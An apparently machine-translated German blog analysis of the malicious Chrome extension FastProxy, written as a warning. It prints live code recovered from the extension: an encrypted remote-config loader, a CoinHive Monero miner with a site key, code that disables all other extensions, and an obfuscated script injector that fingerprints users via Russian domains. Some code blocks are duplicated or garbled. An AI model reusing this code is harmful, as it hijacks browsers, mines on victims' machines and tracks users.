In diesem Artikel werde ich zeigen, wie gefährlich Erweiterungen in Chrom sein können und wie
Firefox-Erweiterungen sind sicherer.
Es geht darum, FastProxy zu erweitern.
Setzen Sie es auf keinen Fall in seiner reinen Form in Chrom ein.
Um den Quellcode zu erhalten, müssen Sie zunächst eine andere Erweiterung des Chrome-Erweiterungsquell-Viewers installieren.
Öffnen Sie danach die Seite .
Das CRX-Symbol wird gelb - klicken Sie darauf und wählen Sie "Als Zip herunterladen".
Nun zur Code-Analyse.
1. Manifest (manifest.json) - der Kern jeder Erweiterung
Erweiterungsbeschränkungen werden durch CSP (Content Security Policy) und Berechtigungen festgelegt:
"content_security_policy": "script-src 'self' 'unsicher-eval' https://ssl.google-analytics.com ; object-src 'self'",
"Berechtigungen": ["Proxy", "Tabs", "WebRequest", "WebRequestBlocking", "Management", "\ u003Call_urls>", "Speicher"],
CSP sollte sofort alarmieren, es erlaubt unsichere Auswertungen (mehr dazu hier ).
Das heißt, Führen Sie Code aus einer beliebigen übergebenen Zeichenfolge aus.
management
können Sie andere Erweiterungen verwalten.- Mit der
webRequestBlocking
können Sie absolut alle Anforderungen ersetzen, die über den Browser webRequestBlocking
. - Die Berechtigung
\u003Call_urls>
ist dieselbe wie <all_urls>
- Sie können auf jeder Site agieren.
Weitere Informationen zu Berechtigungen finden Sie hier .
Das heißt, Basierend auf nur einer Manifestdatei hat die Erweiterung bereits einen enormen Zugriff auf alles.
Schlüsselcodedateien sind in aufgeführt
"Hintergrund": {
"scripts": ["lib.js", "jquery.min.js", "background.js", "ga.js"]
},
Sie werden unmittelbar nach der Installation der Erweiterung oder unmittelbar nach dem Start des Browsers in der Reihenfolge im Array ausgeführt.
2. Analyse von Hintergrundprozessdateien
Der Code wird minimiert und verwirrt. Zum Auflösen verwenden wir die Website http://jsbeautifier.org/ mit Standardeinstellungen.
- Ich habe die Datei jquery.min.js mit dem ursprünglichen Code jquery 2.2.4 verglichen - sie stimmen überein.
- Die Datei ga.js ist einfach Google Analytics-Code.
- Die lib.js-Datei ist CryptoJS.
- Der Hauptcode ist in background.js konzentriert.
Um das Lesen des Codes zu vereinfachen, habe ich ihn ein wenig umgeschrieben (umbenannte Funktionen, Kommas in separate Blöcke geändert usw.).
Sie können auch die Firefox-Version derselben Erweiterung verwenden, um den nicht zum Kern gehörenden Teil des Codes zu verstehen.
Die Verwendung von Proxy in Firefox und Chrome unterscheidet sich grundlegend.
Um die Firefox-Version der Erweiterung herunterzuladen, müssen Sie den Link in Firefox öffnen.
Kopieren Sie den Link zu "Zu Firefox hinzufügen" und öffnen Sie ihn in Chrome.
Als Zip-Archiv öffnen.
Den umgeschriebenen Code finden Sie unter diesem Link .
Zunächst müssen Sie verstehen, dass das in der $.ajax
ausgeführte $.ajax
dieses Skript in die Seite einbettet (in diesem Fall nicht in die Seite, sondern in den Hintergrundprozess).
Von der Linie bewacht
localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] );
Sie sagen uns bereits, dass die Sache nicht sauber ist.
Fügen Sie console.log
nach CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
und CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
und verbietet die Ausführung des Ajax selbst.
Gleichzeitig ändern wir in der Zeile JSON.parse( localStorage.C)[cc]
(und ähnlich für record) cc von 0 auf 1 (später auf 2, wenn wir Arrays mit 3 Elementen sehen).
Wir bekommen die Links:
für die Konfiguration dies
http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)
um dies aufzuzeichnen
http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)
Darüber hinaus geben Links Daten nur bei Verwendung von uid und version mit beiden Parametern und auch nur über $ .ajax oder fetch an. Das einfache Öffnen über den Browser funktioniert nicht - anscheinend wird nach eingehenden Headern gesucht.
Kommen wir nun zu dem, was diese Ajax geben. Wenn Sie sie selbst lesen möchten, ist es besser, fetch in einem anderen Projekt zu verwenden (Sie müssen Erweiterungen installieren, die CORS im Browser entsperren).
Der erste Link gibt uns also ein Skript, das automatisch in den Hintergrundprozess eingebettet wird, weil 'unsafe-eval' ist vorhanden, es gibt jedoch keine Linkbeschränkungen in CSP.
Es ist erwähnenswert, die Linie
function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\"> .<br><br> .</center>'",runAt:"document_start"}); }
Wir fahren in die Suche nach "Anti-Prohibition Fastproxy" und öffnen das 4. Suchergebnis , den Abschnitt "Seien Sie vorsichtig".
Es stellt sich heraus, dass FastProxy keine eigenen Proxyserver verwendet.
Der zweite Link gibt einen Code ähnlich dem ersten, aber das Skript ist bereits anders!
function closeWindow () { const time = 500; // setInterval(function() { // chrome.tabs.getSelected(null, function (details) { // id - if (details.id == -1) window.close(); }) }, time); } closeWindow();
Normalerweise haben alle Registerkarten eine ID. Eine Ausnahme bildet das Registerkartenfenster der Browserkonsole. Das heißt, Dies ist ein Schutz gegen Spionage durch die Konsole.
Diese Datei enthält auch neue URLs, die mit CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
und CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
.
Die ersten beiden Links sind die gleichen wie die vorherigen. Aber der dritte ist anders:
http://fastproxy.ga/proxy/config/config.txt
Für 'record' sind alle 3 Links neu.
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
In der Tat nicht anders als config_proxy-fast.ru.js
Zurück zu config_proxyrus.ru.js
Der Code enthält auch das Schließen der Konsole. Dann beginnt der Spaß.
String
var ext_id = chrome.app.getDetails().id;
Ruft die Kennung der Erweiterung ab, und dies ist eine undokumentierte Funktion.
Die aktuelle Dokumentation verwendet eine andere Methode
Als nächstes kommt die Gabel:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
Die gleichen drei Links, wenn ext_id
nicht in die gewünschte Liste der Erweiterungen fällt.
Und ein neuer Link, wenn er in die Liste der Erweiterungen + vollständiger Neustart der Erweiterung fällt.
Wenn jemand herausfinden kann, was diese Erweiterungen waren, schreiben Sie in die Kommentare. Es gibt keine Übereinstimmungen mit der aktuellen ID von FastProxy. Beim Durchsuchen des Google Stores werden keine Kennungen angegeben.
Erklärung der Links
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
gibt
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
die direkt im Browser geöffnet werden kann.
config_prowebdom.ru.js
Konsole wieder schließen. Und dann das interessanteste.
var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); })
^ Start des Monero Miner. Denken Sie übrigens an die Brieftasche. Wenn Sie im Code etwas Ähnliches sehen, sind dies dieselben Personen.
function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions();
Dieser Code deaktiviert alle Erweiterungen außer sich selbst.
Wenn es keine Erlaubnis des Managements gäbe, wäre dies nicht möglich.
Weiter
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
und
function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } }
tabs.onUpdated startet einen Rückruf, wenn eine der Phasen des Ladens einer Registerkarte in eine andere aktualisiert wird. Weitere Details hier.
Einfach ausgedrückt, betrifft es jeden Tab.
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
Außer FastProxy selbst. Anscheinend gab es eine Reihe von Erweiterungen, die wie Viren funktionierten.
if (tab.url.indexOf('google') == -1) {
Alle URLs außer denen, die Google String enthalten. Anscheinend, weil die Tabs bei Google nur vorübergehend sind. Der wahre Grund ist mir nicht klar.
Und das Schlimmste ist, dass in jeder Registerkarte ein Skript implementiert wird, nachdem die Seite vollständig in diese Registerkarte geladen wurde:
Führen Sie es durch den JS-Verschönerer.
Charakterspiele können dank console.log weggelassen werden.
Das Gefährlichste beginnt dort, wo das Skript-Tag erstellt wird.
var l = document.createElement ('script');
Was mich in erster Linie interessiert, ist entweder sein innerHTML oder src.
l.setAttribute('src', document.location.protocol + '//' + h)
Der linke Teil ist klar - das Protokoll der aktuellen Seite. Der richtige Teil ist der eigentliche Link. Legen Sie dort console.log ab
Wir bekommen
zry4bsop.ru/d6safundjenk6af/30022_0.js
Führen Sie in ähnlicher Weise JS Verschönerer durch
Das Prinzip der Datei ist dasselbe - der gefährlichste Teil ist das Hinzufügen eines Skripts.
var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t);
Wir bekommen
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
wenn auf MDN ausgeführt
Auf productforums.google.com das gleiche
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
Es stellt sich heraus, dass die rechte Seite an etwas befestigt ist
Wir schauen uns den Code an
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
erwähnt in der selbstaufrufenden Funktion f
dann wird f in erwähnt
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
Das heißt, Durch symbolische Operationen wird die besuchte URL an das Skript übergeben.
Wir schauen uns den Skriptcode selbst an, sie stimmen überein.
Führen Sie es erneut durch den JS-Verschönerer.
Ohne den Code neu zu schreiben, können Sie Knoten hinzufügen, Skripte erstellen, Cookies ersetzen,
Elemente von Grund auf neu erstellen, Ajax. Aber es ist ziemlich schwer zu verstehen, was wirklich passiert.
Versuchen Sie also, diese nummerierten Funktionen umzubenennen.
Das Auflösen dieser Datei war schwierig. Das Schwierigste ist, ständig Objekte zu erstellen, die Objekte erstellen, die Objekte erstellen ... Es war auch schwierig, reine Funktionen zu finden, um das Gewirr zu entwirren.
Ich konnte den Code nicht vollständig entwirren. Aber was enträtselt ist, ergibt Folgendes:
Zusammenstellen eines vollständigen Fingerabdrucks über einen Benutzer, der dann durch eine Reihe von Bitoperationen in eine eindeutige Zeichenfolge umgewandelt wird.
Dieser Druck enthält:
- Useragent
- Informationen zu installierten Plugins (insbesondere für IE). Besonders erwähnenswert ist hier die Palemoon-Linie. Tatsache ist, dass Sie mit Palemoon Java verwenden können.
- Informationen zum verwendeten Prozessor
- Informationen zu installierten Schriftarten (Funktion getFontData). Darüber hinaus bietet der Code die Möglichkeit, zusätzlich zur Systemliste eine erweiterte Liste von Schriftarten zu verwenden. Es wird jedoch nur das System verwendet
- Einzigartiger Leinwanddruck (Funktion get2dCanvasFingerprint). Da er mehrere nicht standardmäßige Zeichen verwendet, wird überprüft, ob im System installierte Sprachen vorhanden sind.
- Einzigartiger Fingerabdruck von webgl (getWebglFingerprint-Funktion)
- Überprüfen der Falschheit der vom Navigator bereitgestellten Daten (hasFalseBrowser-Funktion). Insbesondere in diesem Zusammenhang ist die Verwendung von eval.toString () interessant, um zu verstehen, welche Art von Browser tatsächlich verwendet wird. Ich hätte es nie erraten.
Es gibt eine Funktion, die XMLHttpRequest ausführt. Es wird jedoch nicht im Code verwendet und startet nicht, wenn das Skript gestartet wird.
Es gibt eine Funktion, die einen Flash in die Seite einbettet, aber tatsächlich nicht verwendet wird.
Schauen Sie sich die Erfassungscodes für Leinwand- / Webgl-Fingerabdrücke an.
Auf der Seite wird ein Iframe eingebettet (appendBadIframe1-Methode).
Nun wollen wir sehen, was in diesem Iframe ist.
Führen Sie JS Verschönerer durch.
Laut Code ist dies ein Informationsaustauscher mit dem Hauptskript. Wenn das Hauptskript größtenteils Bitoperationen ist, wird ein E-Frame durch die berechneten Eigenschaften von Objekten ausgeführt. Mit window.postMessage tauschen sie Nachrichten untereinander aus.
Durch die Ausführung der Datei werden 6 XHR-Anforderungen erstellt (und durch die Erstellung von Img). Wenn Sie auf die Seite klicken, wird ein neues Fenster geöffnet.
Entschlüsselte Links für Anfragen finden Sie im Code.
Zurück zur Erweiterung
Zurück zur Erweiterung und Links aufnehmen. Diese Links werden als .pac- Datei für die Methode chrome.proxy.settings.set verwendet .
Dateicodes finden Sie hier:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
Das allgemeine Wesen von Dateien besteht darin, Domänen über blockierte Proxys und IP über einen Proxy und auf andere DIREKTE, d. H. Zugriff ohne Proxy.
Die Gruppe der Server und die Gruppe der blockierten Domänen / IP unterscheiden sich.
Lassen Sie uns herausfinden, wessen Server neben Auto-Lock (antizapret.prostovpn.org) FastProxy verwenden.
Wir fahren postls.com in die Suche. Öffnen Sie den ersten Link.
Um die Browsec-Erweiterung zu blockieren, müssen Sie eine VPM-Regel erstellen, die die Ziel-URL IP / Hostname blockiert
browsec.com
postlm.com
postls.com
Das heißt, FastProxy verwendet Anti-Ban- und Browsec-Server ohne eigene Server.
4. Über das Expansionspotential
Mit der Berechtigung webrequest + webrequestBlocking können Sie absolut jede Anforderung ändern, einschließlich interner Anforderungen im Chrome selbst.
Das heißt, Sie können die HTML-Seiten vollständig ändern und die störenden Header in den Anforderungen entfernen, einschließlich der CSP (Content Security Policy) der Site.
Mit Ihrem Proxy können Sie den gesamten Benutzerverkehr zusammenführen, der über Ihren Proxy geleitet wird.
5. Informationen zu den Richtlinien für Erweiterungen von Google und Mozilla
Die Richtlinien von Google sind viel milder als die von Mozilla. Sie veröffentlichen fast alles.
Mozilla hat strenge Anforderungen: Unsichere Auswertungen sind verboten, Code-Verschleierung ist verboten (zulässig, wenn Sie einen vollständigen Sammler bereitstellen).
Mozilla prüft auch regelmäßig die Erweiterungscodes, jedoch nicht unmittelbar nach der Veröffentlichung.
Weitere Details finden Sie hier und hier .
Aus diesem Grund ist die Installation neuer Firefox-Erweiterungen viel ruhiger als die Installation von Chrome-Erweiterungen.
6. Was ist neu im Code:
Der Navigator bietet eine unrealistische Menge eindeutiger Daten über den Browser als in der Vergangenheit. Und höchstwahrscheinlich wird es in Zukunft noch mehr geben.
Mit eval.toString und anderen nativen Funktionen können Sie die tatsächliche Version des Browsers berechnen.
Einzigartiger Druck auf Leinwand und Webgl.
7. Fragen an die Leser
Wenn jemand mit Webgl gearbeitet hat, teilen Sie uns bitte mit, was die Funktion getWebglFingerprint bewirkt. Und was ist dort einzigartig?
Alle Quellen finden Sie hier.